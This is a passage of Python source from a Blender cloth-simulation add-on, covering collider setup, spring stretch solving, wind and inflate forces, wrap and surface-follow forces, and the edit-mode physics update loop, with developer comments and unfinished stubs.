f_shift for f in v.link_faces] for v in triobm.verts]\n            cloth.ob_v_norm_indexer += [[v.index + shift] * len(v.link_faces) for v in triobm.verts]\n\n            geo_check.append(abco.shape[0])\n                    \n            cloth.total_co = np.append(cloth.total_co, abco, axis=0)\n            sh = abco.shape[0]\n            shift += sh\n            f_shift += len(triobm.faces)\n        \n        cloth.geo_check = np.array(geo_check)\n        cloth.oc_tri_counts = np.cumsum(cloth.oc_tri_counts)\n        cloth.oc_v_counts = np.cumsum(cloth.oc_v_counts)\n        \n        cloth.last_co = np.copy(cloth.total_co)# - cloth.inner_norms # for checing if the collider moved\n        cloth.collider_sh = cloth.total_co.shape[0]\n        cloth.ob_v_norms = np.zeros_like(cloth.total_co)\n\n        cloth.ob_v_norm_indexer1 = np.hstack(cloth.ob_v_norm_indexer1)\n        cloth.ob_v_norm_indexer1 = np.array(cloth.ob_v_norm_indexer1, dtype=np.int32)\n        cloth.ob_v_norm_indexer = np.hstack(cloth.ob_v_norm_indexer)\n        cloth.ob_v_norm_indexer = np.array(cloth.ob_v_norm_indexer, dtype=np.int32)\n\n        cloth.oc_total_tridex = oc_total_tridex\n        update_ob_v_norms(cloth)\n\n        cloth.ob_co = np.empty((cloth.co.shape[0] * 2, 3), dtype=np.float32)\n        # ==========================================\n        # if I put these on vertex groups I can just multiply the\n        # values by the groups. Will have to create groups\n        # for the collide objects and set them to one by default.\n        \n        frs = [c.MC_props.outer_margin for c in colliders]\n        sfrs = [c.MC_props.static_friction  * .0001 for c in colliders]\n        \n        fcs = oc_total_tridex.shape[0]\n        cloth.total_margins = np.zeros(cloth.total_co.shape[0], dtype=np.float32)[:, None]\n        cloth.total_inner_margins = np.zeros(cloth.total_co.shape[0], dtype=np.float32)[:, None]\n        cloth.total_friction = np.ones(fcs, dtype=np.float32)[:, None]\n        cloth.total_static = np.zeros(fcs, dtype=np.float32)\n        \n        cloth.oc_total_tridex = oc_total_tridex\n        cloth.oc_indexer = np.arange(oc_total_tridex.shape[0], dtype=np.int32)\n        cloth.static = False\n        cloth.fcs = fcs\n        cloth.oc_tris_six = np.empty((oc_total_tridex.shape[0], 6, 3), dtype=np.float32)\n        cloth.oc_eidx = np.arange(len(cloth.ob.data.vertices), dtype=np.int32)\n        cloth.traveling_edge_co = np.empty((cloth.co.shape[0], 2, 3), dtype=np.float32)\n        \n        # !!! not currently using this. Need to research total object bounds speed difference\n        cloth.tris6_bool = np.ones(cloth.oc_total_tridex.shape[0], dtype=np.bool)\n\n\n# cloth instance ---------------\nclass Cloth(object):\n    # The cloth object\n    def __init__(self):\n        pass\n\n    def refresh(self):\n        print('plan to move here for sorting')\n\n    def soft_refresh():\n        # like vertex weights without remaking all the springs\n        print('does not require recalculating springs')\n\n\n# cloth instance ---------------\ndef create_instance(ob=None):\n    \"\"\"Run this when turning on modeling cloth.\"\"\"\n    global glob_dg\n    cloth = Cloth()\n    cloth.dg = bpy.context.evaluated_depsgraph_get()\n    glob_dg = cloth.dg\n    if ob is None:\n        ob = bpy.context.object\n    cloth.ob = ob\n    cloth.vcs = 0 # for object collisions\n    refresh(cloth)\n    return cloth\n\n# ^                                                          ^ #\n# ^                   END cloth instance                     ^ #\n# ============================================================ #\n\n\n# ============================================================ #\n#                     update the cloth                         #\n#                                                              #\n\n# update the cloth ---------------\ndef update_groups(cloth, obm=None, geometry=False):\n    \"\"\"Create update data in the cloth instance\n    related to the vertex groups.\n    geometry is run when there are changes in the geomtry\"\"\"\n    #ob = cloth.ob\n    #current_index = ob.vertex_groups.active_index\n\n    # vertex groups\n    current = np.copy(cloth.pin)\n\n    cloth.obm = get_bmesh(cloth.ob)\n    manage_vertex_groups(cloth)\n\n    if geometry:\n        old = current.shape[0]\n        new = cloth.pin.shape[0]\n        dif = new - old\n        if dif > 0:\n            fix = np.zeros_like(cloth.pin)\n            fix[:old] += current\n            current = fix\n            cloth.pin_arr = np.append(cloth.pin_arr, cloth.co[old:], axis=0)\n            zeros = np.zeros_like(cloth.co[old:])\n            cloth.velocity = np.append(cloth.velocity, zeros, axis=0)\n            cloth.vel_zero = np.copy(cloth.co)\n            cloth.feedback = np.copy(cloth.co)\n        else:\n            cloth.pin_arr = np.copy(cloth.co)\n            cloth.vel_zero = np.copy(cloth.co)\n            cloth.feedback = np.copy(cloth.co)\n            cloth.velocity = np.zeros_like(cloth.co)\n            return\n    # !!! Need to store cloth.pin_arr in the save file !!!\n    changed = (cloth.pin - current) != 0 # Have to manage the location of the pin verts with weights less than one\n    if hasattr(cloth, 'co'):\n        cloth.pin_arr[changed.ravel()] = cloth.co[changed.ravel()]\n\n    # update surface weight\n    #ob.vertex_groups.active_index = current_index\n    \n\n# update the cloth ---------------\ndef measure_edges(co, idx, cloth, source=False):\n    \"\"\"Takes a set of coords and an edge idx and measures segments\"\"\"\n    l = idx[:,0]\n    r = idx[:,1]\n    \n    if not source:    \n        np.subtract(co[r], co[l], out=cloth.measure_cv, dtype=np.float32)\n        np.einsum(\"ij ,ij->i\", cloth.measure_cv, cloth.measure_cv, out=cloth.measure_dot)\n        np.sqrt(cloth.measure_dot, out=cloth.measure_length)\n        return\n    \n    v = co[r] - co[l]\n    d = np.einsum(\"ij ,ij->i\", v, v)\n    le = np.sqrt(d)\n    return v, d, le\n\n\ndef stretch_springs_basic(cloth, target=None): # !!! need to finish this\n    \"\"\"Measure the springs\"\"\"\n    if target is not None:\n        dg = cloth.dg\n        #proxy = col.ob.to_mesh(bpy.context.evaluated_depsgraph_get(), True, calc_undeformed=False)\n        #proxy = col.ob.to_mesh() # shouldn't need to use mesh proxy because I'm using bmesh\n        if cloth.proxy is None:\n            cloth.proxy = target.evaluated_get(dg)\n        co = get_co_mode(cloth.proxy) # needs to be depsgraph eval\n        # need to get co with modifiers that don't affect the vertex count\n        # so I could create a list of mods to turn off then use that fancy\n        # thing I created for turning off modifiers in the list.\n        return measure_edges(co, cloth.basic_set, cloth, source=True)\n\n    # can't figure out how to update new verts to source shape key when\n    #   in edit mode. Here we pull from source shape and add verts from\n    #   current bmesh where there are new verts. Need to think about\n    #   how to fix this so that it blendes correctly with the source\n    #   shape or target... Confusing....  Will also need to update\n    #   the source shape key with this data once we switch out\n    #   of edit mode. If someone is working in edit mode and saves\n    #   their file without switching out of edit mode I can't fix\n    #   that short of writing these coords to a file.\n    \n    if cloth.ob.data.is_editmode:\n        cloth.ob.update_from_editmode()\n\n    co = get_co_shape(cloth.ob, 'MC_source')\n    vdl = measure_edges(co, cloth.basic_set, cloth, source=True)\n    return vdl\n    #cloth.measure_length = np.zeros(cloth.basic_v_fancy.shape[0], dtype=np.float32)\n    #return np.copy(v), np.copy(cloth.measure_dot), np.copy(cloth.measure_length)\n\n\ndef surface_forces(cloth):\n    if not cloth.surface:\n        return\n    # surface follow data ------------------------------------------\n    # cloth.surface_follow    (weights on the cloth object)\n    # cloth.bind_idx = idx            (verts that are bound to the surface)\n    tridex = cloth.surface_tridex          # (index of tris in surface object)\n    bary = cloth.surface_bary_weights    # (barycentric weights)\n    so = cloth.surface_object      # (object we are following)\n\n    shape = cloth.surface_tridex.shape\n    tri_co = np.array([so.data.vertices[i].co for i in tridex.ravel()], dtype=np.float32)\n    tri_co.shape = (shape[0] * 3, 3)\n    apply_in_place(cloth.surface_object, tri_co)\n\n    tri_co.shape = (shape[0], 3, 3)\n    plot = np.sum(tri_co * bary[:, :, nax], axis=1)\n\n    # update the normals -----------------\n    cloth.surface_norms = get_normals_from_tris(tri_co)\n    norms = cloth.surface_norms * cloth.surface_norm_vals\n    #print(cloth.surface_norm_vals[0], 'what is this norm val???????')\n    plot += norms\n    #plot += apply_rotation(cloth.ob, norms)\n\n    world_co = apply_in_place(cloth.ob, cloth.co[cloth.bind_idx])\n    dif = (plot - world_co) * cloth.surface_follow[cloth.bind_idx]\n    cloth.co[cloth.bind_idx] += revert_rotation(cloth.ob, dif)\n\n\ndef stretch_solve(cloth):\n    \"\"\"Uses wieghted average to determine how much\n    a spring should contribute to the movement.\"\"\"        \n    \n    stretch = cloth.ob.MC_props.stretch * 0.5\n    push = cloth.ob.MC_props.push\n    \n    # !!! Optimize here ============================================\n    # measure source\n    v, d, l = cloth.vdl\n    if cloth.ob.MC_props.shrink_grow != 1:\n        l = l * cloth.ob.MC_props.shrink_grow\n    #dynamic = False\n    #if dynamic:\n        # !!! don't need to run this all the time. Can get a speed improvement here\n        #   by caching these values and running them when other updates run\n        # v, d, l = stretch_springs_basic(cloth, cloth.target) # from target or source key\n    \n    measure_edges(cloth.co, cloth.basic_set, cloth) # from current cloth state\n    #cv, cd, cl = measure_edges(cloth.co, cloth.basic_set, cloth, source=True) # from current cloth state\n    cv = cloth.measure_cv\n    cd = cloth.measure_dot\n    cl = cloth.measure_length\n\n    move_l = (cl - l) * stretch\n\n    if not cloth.skip_stretch_wieght:\n        move_l *= cloth.stretch_group_mult.ravel()\n\n    # separate push springs\n    if push != 1:\n        push_springs = move_l < 0\n        move_l[push_springs] *= push\n\n    # !!! here we could square move_l to accentuate bigger stretch\n    # !!! see if it solves better.\n\n    # mean method -------------------\n    cloth.stretch_array[:] = 0.0\n\n    rock_hard_abs = np.abs(move_l)\n    np.add.at(cloth.stretch_array, cloth.basic_v_fancy, rock_hard_abs)\n    weights = rock_hard_abs / cloth.stretch_array[cloth.basic_v_fancy]\n    # mean method -------------------\n\n    # apply forces ------------------\n    #if False:\n    move = cv * (move_l / cl)[:,None]\n\n    move *= weights[:,None]\n\n    np.add.at(cloth.co, cloth.basic_v_fancy, np.nan_to_num(move))\n\n\ndef update_pins_select_sew_surface(cloth):\n    \"\"\"When iterating forces we get sag if we don't update pins\n    and selected areas.\"\"\"\n    # sewing ---------------------\n    #sew_force(cloth) # no iterate so no: update_pins_and_select(cloth)\n    \n    # selected -------------------\n    pin_vecs = (cloth.pin_arr - cloth.co)\n    cloth.co += (pin_vecs * cloth.pin)\n    \n    if bpy.context.scene.MC_props.pause_selected:\n        if cloth.ob.data.is_editmode:\n            cloth.co[cloth.selected] = cloth.select_start[cloth.selected]\n            cloth.pin_arr[cloth.selected] = cloth.select_start[cloth.selected]\n    \n    # hooks ----------------------\n    hook_force(cloth)\n\n\ndef inflate_and_wind(cloth):\n    skip = True\n    wind = False\n    props = cloth.ob.MC_props\n    inflate = props.inflate * .001\n    if inflate != 0:\n        skip = False\n    \n    wind_vec = np.array([props.wind_x, props.wind_y, props.wind_z], dtype=np.float32)\n    if not np.all(wind_vec == np.array([0.0, 0.0, 0.0], dtype=np.float32)):\n        wind = True\n        skip = False\n    \n    if skip:\n        return\n    \n    t = cloth.co[cloth.tridex]\n    ori = t[:, 0]\n    t1 = t[:, 1] - ori\n    t2 = t[:, 2] - ori\n    \n    # could use norms from wind instead:\n    # norms = cloth.u_norms[trs]\n    norms = np.cross(t1, t2)\n    un = norms / np.sqrt(np.einsum('ij,ij->i', norms, norms))[:, None]\n    cloth.u_norms = un # could feed this to self collisions\n    \n    # inflate:\n    # could put it on a vertex group...\n    move = np.nan_to_num(un * inflate)\n    np.add.at(cloth.velocity, cloth.tridex, move[:, None])\n    \n    # wind:\n    if wind:\n        turb = props.turbulence\n        randir = props.random_direction\n        if cloth.turb_count % 10 == 0:\n            cloth.turb_count = 1\n            cloth.turbulence[:] = (1 + turb) - (np.random.rand(cloth.tridex.shape[0]) * turb)\n            cloth.random_dir_2[:] = cloth.random_dir\n            cloth.random_dir = np.random.rand(3)\n        \n        dif = cloth.random_dir_2 - cloth.random_dir\n        gradual = cloth.random_dir + (dif/cloth.turb_count)\n            \n        vec_turb = (1 + randir) - (gradual * randir)\n        wind_vec = wind_vec * vec_turb\n        \n        angle = np.abs(un @ wind_vec) * cloth.turbulence\n        move = np.nan_to_num(wind_vec * angle[:, None]) * .001\n        np.add.at(cloth.velocity, cloth.tridex, move[:, None])\n        \n        cloth.turb_count += 1\n\n\ndef wrap_force_cpm(cloth):\n    \n    print('cpm stands for closest point on mesh')\n    # the theory is to get closest point\n    # on mesh for each vertex and use that\n    # as a direction for a force to move it\n    # towards the body.\n    \ndef resolve_self_collisions(cloth):\n    \n    # find where edges pass through tris?\n    # do like a flood fill around the point\n    # to get connected points.\n    # Do like a flood fill around the tris to\n    # get connected tris\n    pass\n    \n    \ndef basic_flatten_bend(cloth):\n    # wouldn't work with folds...\n    # find surrounding points and make a triangle.\n    # move the point along the normal of that\n    #   triangle towards it's surface.\n    # could exclude the fold edges...\n    # could use this for something like\n    # a pre-solve fit. Pull the panels\n    # towards each other and towards the body...\n    pass\n\ndef divide_layers_and_object_collide():\n    # object collide is more sure because\n    # it doesn't have instabilities like sc\n    # could divide the garment panels\n    # and treat them as separate objects \n    # Would have to be a heirarchy.\n    # cant figure out what order to do\n    # the heirarcy. Inner layer colliding\n    # with avatar would have to be master.\n    pass\n\n\ndef edge_edge_spencer_model(coth):\n    for e in boundary_edges:\n        # if e1v and e2v are on opposite\n        # sides of a boundary tri the edge is probably\n        # slid past a boundary edge\n        pass\n    \n\ndef wrap_force(cloth, avatar, frame=0):\n    \n    if avatar.data.is_editmode:\n        if cloth.last_cpm is None:\n            return    \n        lco = apply_transforms(cloth.ob, cloth.co)\n        vecs = cloth.last_cpm - lco\n        move = revert_rotation(cloth.ob, vecs)\n        #return\n    #print('before cpm')\n    else:    \n        move = closest_point_mesh(cloth, avatar)\n    #print('after cpm')\n    \n    cloth.co += move * cloth.ob.MC_props.wrap_force\n    #cloth.wrap_force = co - cloth.co\n    \n    #np.array(locs), np.array(faces), np.array(norms), np.array(cos)\n    return    \n    \n    ob = cloth.ob\n    m = ob.modifiers.new('MCWF', \"SHRINKWRAP\")\n    m.target = avatar\n    m.offset = avatar.MC_props.outer_margin\n    m.wrap_method = 'TARGET_PROJECT'\n\n    #bpy.context.scene.frame_current = frame\n\n    bpy.ops.object.modifier_apply_as_shapekey({\"object\" : cloth.ob}, modifier='MCWF')\n    co = get_co_shape(cloth.ob, key='MCWF')\n    #cloth.ob.data.shape_keys.key_blocks['MC_current'].data.foreach_set('co', co.ravel())\n    cloth.wrap_force = co - cloth.co\n    \n    cloth.ob.shape_key_remove(cloth.ob.data.shape_keys.key_blocks['MCWF'])\n    \n\ndef surface_follow(cloth, avatar, value):\n    \"\"\"Used by p1 with surface deform for putting\n    the arms down.\"\"\"\n\n    ob = cloth.ob\n    m = ob.modifiers.new('SF', \"SURFACE_DEFORM\")\n    m.target = avatar\n    m.falloff = 16.0\n    bpy.ops.object.surfacedeform_bind({\"object\" : ob}, modifier='SF')\n        \n    avk = avatar.data.shape_keys.key_blocks['Armature']\n    avk.value = value\n\n    if 'Armature.001' in avatar.data.shape_keys.key_blocks:\n        avk2 = avatar.data.shape_keys.key_blocks['Armature.001']\n        avk2.value = 1 - value\n    \n    bpy.context.scene.MC_props.interference = True\n    \n\ndef best_sim(cloth, avatar):\n    colliders = [o for o in bpy.data.objects if (o.MC_props.collider) & (cloth.ob != o)]\n    \n    if cloth.iterator == 0:\n        cloth.sim_start_time = time.time()\n        cloth.ob.MC_props.extra_bend_iters = 1\n        cloth.ob.MC_props.velocity = 0.8\n        cloth.ob.MC_props.sew_force = 0.08\n        #cloth.ob.MC_props.shrink_grow = 1.0\n        cloth.ob.MC_props.shrink_grow = .7\n        cloth.ob.MC_props.gravity = -1.0\n        cloth.ob.MC_props.wrap_force = 0.03\n        cloth.ob.MC_props.self_collide_force = 0.5\n\n    if cloth.iterator == 20:\n        cloth.ob.MC_props.sew_force = .1\n        note = 'now start dropping the arms'\n        print(note)\n    \n    if cloth.iterator == 40:\n        cloth.ob.MC_props.sew_force = .1\n    if cloth.iterator == 60:\n        cloth.ob.MC_props.sew_force = .1\n    if cloth.iterator == 80:\n        cloth.ob.MC_props.sew_force = .1\n        cloth.ob.MC_props.shrink_grow = .7\n        cloth.ob.MC_props.gravity = 1.0\n    \n    #if cloth.iterator == 40:\n        #cloth.velocity[:] = 0.0\n        \n    if cloth.iterator == 100:\n        surface_follow(cloth, colliders[0], 0.8)\n        cloth.ob.MC_props.sew_force = .2        \n        cloth.ob.MC_props.gravity = 0.0\n        \n    if cloth.iterator == 160:\n        surface_follow(cloth, colliders[0], 0.6)\n        cloth.velocity[:] = 0.0\n        \n        cloth.ob.MC_props.bend_iters = 4\n        cloth.ob.MC_props.gravity = -0.4\n        cloth.ob.MC_props.sew_force = .5\n        \n    if cloth.iterator == 170:\n        surface_follow(cloth, colliders[0], 0.4)\n        \n    if cloth.iterator == 180:\n        surface_follow(cloth, colliders[0], 0.2)\n        cloth.velocity[:] = 0.0\n\n    if cloth.iterator == 190:\n        surface_follow(cloth, colliders[0], 0.0)\n        cloth.ob.MC_props.velocity = 0.98\n    \n    if cloth.iterator == 191:\n        cloth.velocity[:] = 0.0\n        cloth.ob.MC_props.wrap_force = 0.0\n        \n    if cloth.iterator > 190:\n        if cloth.ob.MC_props.shrink_grow < 1:\n            cloth.ob.MC_props.shrink_grow += 0.01\n            \n    if cloth.iterator == 220:\n            cloth.ob.MC_props.bend_iters = 1\n            cloth.ob.MC_props.bend = 0.5\n            \n    if cloth.iterator == 330:\n        cloth.ob.MC_props.self_collide_margin = 0.03\n\n    if cloth.iterator == 335:    \n        cloth.ob.MC_props.continuous = False\n        print(\"stopped sim\")\n        print(\"total time =\", time.time() - cloth.sim_start_time)\n        print(\"if it's messed up check the inner margin on the avatar. Remember.....\")\n        \n    print(\"=========================\")\n    print(cloth.iterator, \"iteration\")\n    print(\"=========================\")\n\n\ndef edge_collide(cloth):\n    update_pins_select_sew_surface(cloth)\n    cloth.four_edge_co[:, :2] = cloth.select_start[cloth.eidx]\n    cloth.four_edge_co[:, 2:] = cloth.co[cloth.eidx]\n    MC_edge_collide.detect_collisions(cloth)\n    \n\ndef pierce_collide(cloth):\n    \"\"\"Where edges pierce faces\"\"\"\n    \n    if not cloth.ob.MC_props.self_collide:\n        update_v_norms(cloth) # because self collide runs it\n    cloth.pierce_co = cloth.co[cloth.eidx]\n    MC_pierce.detect_collisions(cloth)\n\n\ndef ob_collide(cloth):\n\n    colliders = [o for o in bpy.data.objects if (o.MC_props.collider) & (cloth.ob != o)]\n    if len(colliders) == 0:\n        return\n    c_check = True\n    if len(colliders) != cloth.collider_count:\n        Collider(cloth)\n        c_check = False\n\n    if cloth.ob.MC_props.wrap_force != 0:\n        wrap_force(cloth, colliders[0])\n    \n    shift = 0\n    f_shift = 0\n    for i, c in enumerate(colliders):\n        abco, proxy, prox = absolute_co(c)\n        \n        if abco.shape[0] != cloth.geo_check[i]:\n            Collider(cloth)\n            print('recalc colliders')\n            return\n        \n        sh = abco.shape[0]\n\n        cloth.total_co[shift: shift + sh] = abco# + surface_offset\n        shift += sh\n    \n    sco = apply_transforms(cloth.ob, cloth.select_start)\n    fco = apply_transforms(cloth.ob, cloth.co)        \n    \n    cloth.ob_co[:cloth.v_count] = sco\n    cloth.ob_co[cloth.v_count:] = fco        \n\n    cloth.OM = cloth.ob.MC_props.outer_margin\n    \n    # could skip this for performance\n    #   if the mesh is static... (initializes with Collider())\n    update_ob_v_norms(cloth)\n\n    ob_settings = not cloth.ob.MC_props.override_settings\n    #cloth.OM = cloth.ob.MC_props.outer_margin\n    cloth.static_threshold = cloth.ob.MC_props.static_friction * .0001            \n    cloth.object_friction = cloth.ob.MC_props.oc_friction\n\n    oms = [c.MC_props.outer_margin for c in colliders]\n    ims = [c.MC_props.inner_margin - c.MC_props.outer_margin for c in colliders]\n    frs = [c.MC_props.oc_friction for c in colliders]\n    sfrs = [c.MC_props.static_friction  * .0001 for c in colliders]\n\n    cloth.outer_margins = cloth.ob.MC_props.outer_margin\n    cloth.inner_margins = cloth.ob.MC_props.inner_margin - cloth.ob.MC_props.outer_margin\n    cloth.total_static[:] = cloth.static_threshold\n    cloth.total_friction[:] = cloth.object_friction    \n    \n    if ob_settings:    \n        #fcs = [len(p[1].polygons) for p in abc_prox]\n        fcs = cloth.oc_tri_counts  #[len(p[1].polygons) for p in abc_prox]\n        vcs = cloth.oc_v_counts  #[len(p[1].polygons) for p in abc_prox]\n        \n        f_shift = 0\n        v_shift = 0\n\n        for i in range(len(colliders)):\n            cloth.total_margins[v_shift: v_shift+vcs[i]] = oms[i]\n            cloth.total_inner_margins[v_shift: v_shift+vcs[i]] = ims[i]\n            cloth.total_friction[f_shift: f_shift+fcs[i]] = frs[i]\n            cloth.total_static[f_shift: f_shift+fcs[i]] = sfrs[i]\n            f_shift = fcs[i]\n            v_shift = vcs[i]\n            \n        cloth.outer_margins = cloth.total_margins\n        cloth.inner_margins = cloth.total_inner_margins\n\n    MC_object_collision.detect_collisions(cloth)\n    cloth.last_co[:] = cloth.total_co\n\n\ndef spring_basic_no_sw(cloth):\n        \n    if cloth.ob.MC_props.p1_cloth:\n\n        colliders = [o for o in bpy.data.objects if (o.MC_props.collider) & (cloth.ob != o)]\n        best_sim(cloth, colliders[0])\n        cloth.iterator += 1\n\n        # for updating after moving the arms in p1\n        if bpy.context.scene.MC_props.interference:\n            bpy.context.scene.MC_props.interference = False\n\n            bpy.ops.object.modifier_apply_as_shapekey({\"object\" : cloth.ob}, modifier='SF')\n            co = get_co_shape(cloth.ob, key='SF')\n            cloth.ob.data.shape_keys.key_blocks['MC_current'].data.foreach_set('co', co.ravel())\n            cloth.ob.shape_key_remove(cloth.ob.data.shape_keys.key_blocks['SF'])\n\n            refresh(cloth, skip=True)\n            return\n                \n    cloth.select_start[:] = cloth.co\n    feedback_val = cloth.ob.MC_props.feedback\n    # start adding forces -------------------------\n\n    inflate_and_wind(cloth)\n    \n    grav = np.array([0.0, 0.0, cloth.ob.MC_props.gravity * 0.001])\n    w_grav = revert_rotation(cloth.ob, [grav])\n    \n    #cloth.velocity[:, 2] += cloth.ob.MC_props.gravity * 0.001\n    cloth.velocity += w_grav\n    cloth.co += cloth.velocity\n    \n    cloth.vel_zero[:] = cloth.co\n\n    #if cloth.ob.MC_props.stretch > 0: # could add a cloth.do_stretch for the stretch vertex group if they are all zero...\n    #if not cloth.ob.MC_props.self_collide: # put this after self collision\n    rt_(num=None)\n    \n    if cloth.do_bend:\n        if cloth.ob.MC_props.bend > 0:\n            for i in range(cloth.ob.MC_props.bend_iters):\n                abstract_bend(cloth)\n                if i > 0:\n                    update_pins_select_sew_surface(cloth)\n    \n    #rt_('bend spring time', skip=False, show=True)\n    rt_('', skip=False, show=True)\n    if cloth.ob.MC_props.stretch > 0:\n        cloth.feedback[:] = cloth.co\n        for i in range(cloth.ob.MC_props.stretch_iters):\n            stretch_solve(cloth)\n            sew_force(cloth)\n            #if i > 0:\n            update_pins_select_sew_surface(cloth)\n        spring_move = cloth.co - cloth.feedback\n        cloth.velocity += spring_move * feedback_val\n    \n    rt_(num='stretch time', skip=False, show=True)\n    # sewing -------------------\n    #sew_force(cloth) # no iterate so no: update_pins_and_select(cloth)\n    # sewing -------------------\n    \n    # surface ------------------\n    #surface_forces(cloth) # might need to refresh when iterating bend and stretch. Could put it in update_pins_and_select()\n    # surface ------------------\n    \n    #v_move = cloth.co - cloth.vel_zero\n    \n    if cloth.ob.MC_props.detect_collisions:\n        ob_collide(cloth)\n    \n    rt_(num='ob collide time')\n    if cloth.ob.MC_props.self_collide:\n        #if cloth.ob.data.is_editmode:\n            #cloth.ob.update_from_editmode()\n        cloth.OM = cloth.ob.MC_props.outer_margin\n        update_v_norms(cloth)\n        sc = MC_self_collision.detect_collisions(cloth)\n    # -------------------------------------------\n        rt_(num='self collisions sw', skip=False)\n        extra_bend = True\n        #extra_bend = False\n        \n        if cloth.ob.MC_props.p1_cloth:\n            #if cloth.ob.MC_props.bend > 0:\n            for i in range(cloth.ob.MC_props.extra_bend_iters):\n\n                abstract_bend(cloth)\n                    #sew_force(cloth)\n        rt_(num='extra_bend', skip=False)\n    #rt_(num='bend springs sw')\n    \n    if cloth.ob.MC_props.detangle: # cloth.ob.MC_props.pierce_collide:\n        pierce_collide(cloth)\n    \n    if cloth.ob.MC_props.edge_collide:    \n        edge_collide(cloth)\n    \n    #if cloth.ob.MC_props.wrap_force != 0:\n        #if cloth.wrap_force is not None:    \n            #cloth.co += cloth.wrap_force * cloth.ob.MC_props.wrap_force\n\n    update_pins_select_sew_surface(cloth) # also hooks\n\n    v_move = cloth.co - cloth.vel_zero\n    cloth.velocity += v_move\n    cloth.velocity *= cloth.ob.MC_props.velocity\n\n    cloth.velocity *= 1 - cloth.drag\n    #cloth.velocity[:,2] += cloth.ob.MC_props.gravity * 0.001 # so after *= vel so it can still fall at zero vel\n    #inflate_and_wind(cloth)\n    \n    # keep this !!! for static friction in MC_object_collision.py\n    np.einsum('ij,ij->i', cloth.velocity, cloth.velocity, out=cloth.move_dist)\n    # keep this !!!\n    \n    #cloth.co[cloth.selected] = cloth.select_start[cloth.selected]\n    #print(\"remember this is disable in update_pins...\")\n\n    \"\"\"\n    The mass vertex group for velocity would be simple.\n    Velocity gets multiplied by the vertex weight.\n    Default would be one. That way we could have drag\n    controlled by velocity.\n    It should also make it eaiser for points to be pulled\n    if they have low mass. Might want to seperate these\n    forces...\n    \"\"\"\n\n\n# update the cloth ---------------\ndef cloth_physics(ob, cloth):#, colliders):\n\n    if ob.MC_props.cache_only:\n        if ob.MC_props.cache:\n            cloth.co = get_proxy_co(ob)\n            cache(cloth)\n            return\n\n    if ob.MC_props.animated:\n        ob.MC_props['current_cache_frame'] = bpy.context.scene.frame_current\n\n    # If there is a proxy object will need to check that they match and issue\n    #   warnings if there is a mismatch. Might want the option to regen the proxy object\n    #   or adapt the cloth object to match so I can sync a patter change\n    #   given you can change both now I have to also include logic to\n    #   decide who is boss if both are changed in different ways.\n    if cloth.target is not None:\n\n        # if target is deleted while still referenced by pointer property\n        if len(cloth.target.users_scene) == 0:\n            ob.MC_props.target = None\n            cloth.target = None # (gets overwritten by cb_target)\n            cloth.target_undo = False\n            cloth.target_geometry = None # (gets overwritten by cb_target)\n            cloth.target_mode = 1\n            return\n\n        if cloth.target.data.is_editmode:\n            if cloth.target_mode == 1 or cloth.target_undo:\n                cloth.target_obm = get_bmesh(cloth.target)\n                cloth.target_obm.verts.ensure_lookup_table()\n                cloth.target_undo = False\n            cloth.target_mode = None\n\n        # target in object mode:\n        else: # using else so it won't also run in edit mode\n            pass\n\n        dynamic_source = True # can map this to a prop or turn it on and off automatically if use is in a mode that makes it relevant.\n        # If there is a target dynamic should prolly be on or if switching from active shape MC_source when in edit mode\n        if dynamic_source:\n            if not cloth.data.is_editmode: # can use bmesh prolly if not OBJECT mode.\n                dg = cloth.dg\n                if cloth.proxy is None:\n                    cloth.proxy = cloth.target.evaluated_get(dg)\n                #proxy = col.ob.to_mesh(bpy.context.evaluated_depsgraph_get(), True, calc_undeformed=False)\n                #proxy = col.ob.to_mesh() # shouldn't need to use mesh proxy because I'm using bmesh\n\n                co_overwrite(cloth.proxy, cloth.target_co)\n\n    if cloth.shape_update:\n\n        index = ob.data.shape_keys.key_blocks.find('MC_current')\n        if cloth.ob.active_shape_key_index == index:\n            refresh(cloth)\n            cloth.shape_update = False\n\n        if not cloth.ob.data.is_editmode:\n            if cloth.shape_update:\n                refresh(cloth)\n                cloth.shape_update = False\n\n    if ob.data.is_editmode:\n        # prop to go into user preferences. (make it so it won't run in edit mode)\n        if not bpy.context.scene.MC_props.run_editmode:\n            return\n        \n        #index = ob.data.shape_keys.key_blocks.find('MC_current')\n        #ob.active_shape_key_index = index\n\n        \n        #bpy.ops.transform.translate(value=(0.0, 0.0, 0.0))\n        cloth.ob.update_from_editmode()\n        #cloth.ob.data.update_gpu_tag()\n\n        #for area in bpy.context.window.screen.areas:\n            #if area.type == 'VIEW_3D':\n                #area.tag_redraw()\n                # bmesh gets removed when someone clicks on MC_current shape\"\n        try:\n            cloth.obm.verts\n        except:\n            cloth.obm = get_bmesh(ob, refresh=True)\n            print('ran bmesh update')\n        #if cloth.update_lookup:\n            #cloth.obm.verts.ensure_lookup_table()\n            #cloth.update_lookup = False\n\n        # If we switched to edit mode or started in edit mode:\n        if cloth.mode == 1 or cloth.undo:\n            cloth.obm = get_bmesh(ob, refresh=True)\n            cloth.undo = False\n        cloth.mode = None\n        # -----------------------------------\n\n        # detect changes in geometry and update\n        if cloth.obm is None:\n            cloth.obm = get_bmesh(ob)\n\n        if not cloth.ob.MC_props.cache_only:\n            same, faces = detect_changes(cloth.geometry, cloth.obm)\n            if faces: # zero faces in mesh do nothing\n                return\n            if not same:\n                # for pinning\n                print(\"DANGER!!!!!!!!!!!!!!!!!!\")\n                \n                index = ob.active_shape_key_index\n                basis = ob.data.shape_keys.key_blocks.find('Basis')\n                \n                ob.active_shape_key_index = basis\n                refresh(cloth)\n                ob.active_shape_key_index = index\n                return\n\n        # if we switch to a different shape key in edit mode:\n        if not cloth.ob.MC_props.cache_only:\n            index = ob.data.shape_keys.key_blocks.find('MC_current')\n            if ob.active_shape_key_index != index:\n                cloth.shape_update = True\n                return\n\n        \n        #cloth.co = np.array([v.co for v in cloth.obm.verts])\n\n        if not cloth.ob.MC_props.cache_only:\n            \n            # This: -------------------\n            #cloth.ob.update_from_editmode()\n            cloth.ob.data.shape_keys.key_blocks['MC_current'].data.foreach_get('co', cloth.co.ravel())\n            # or:\n            #cloth.co = np.array([v.co for v in cloth.obm.verts], dtype=np.float32)\n            # -------------------------\n\n            cloth.selected[:] = False            \n            if bpy.context.scene.MC_props.pause_selected:\n                cloth.ob.data.vertices.foreach_get('select', cloth.selected)\n\n\n            #area = next(area for area in bpy.context.screen.areas if area.type == 'VIEW_3D')\n            #space = next(space for space in area.spaces if space.type == 'VIEW_3D')\n            #space.viewport_shade = 'RENDERED'  # set the viewport shading\n\n\n        \"\"\" =============== FORCES EDIT MODE ================ \"\"\"\n        # FORCES FORCES FORCES FORCES FORCES\n        if 